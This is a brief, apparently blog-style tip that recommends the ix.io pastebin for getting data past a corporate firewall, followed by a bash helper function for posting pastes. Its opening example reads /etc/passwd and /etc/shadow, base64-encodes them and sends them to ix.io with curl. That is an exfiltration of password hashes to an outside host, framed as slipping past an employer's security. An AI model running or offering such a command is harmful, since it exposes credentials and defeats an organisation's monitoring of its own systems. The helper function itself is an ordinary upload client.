Ever need to dump something to the web quickly but that evil corp’s firewall is in the way?
We’ll ix.io is here to help.
It’s just as simple as:
cat /etc/passwd /etc/groups /etc/shadow | base64 | curl -F 'f:1=<-' https://ix.io
Helper script
Paste the following function into ~/.bashrc:
ix() {
local opts
local OPTIND
[ -f "$HOME/.netrc" ] && opts='-n'
while getopts ":hd:i:n:" x; do
case $x in
h) echo "ix [-d ID] [-i ID] [-n N] [opts]"; return;;
d) $echo curl $opts -X DELETE ix.io/$OPTARG; return;;
i) opts="$opts -X PUT"; local id="$OPTARG";;
n) opts="$opts -F read:1=$OPTARG";;
esac
done
shift $(($OPTIND - 1))
[ -t 0 ] && {
local filename="$1"; shift
[ "$filename" ] && {
curl $opts -F f:1=@"$filename" $* ix.io/$id
return
}
echo "^C to cancel, ^D to send."
}
curl $opts -F f:1='<-' $* ix.io/$id
}
Then open a new shell and type ix -h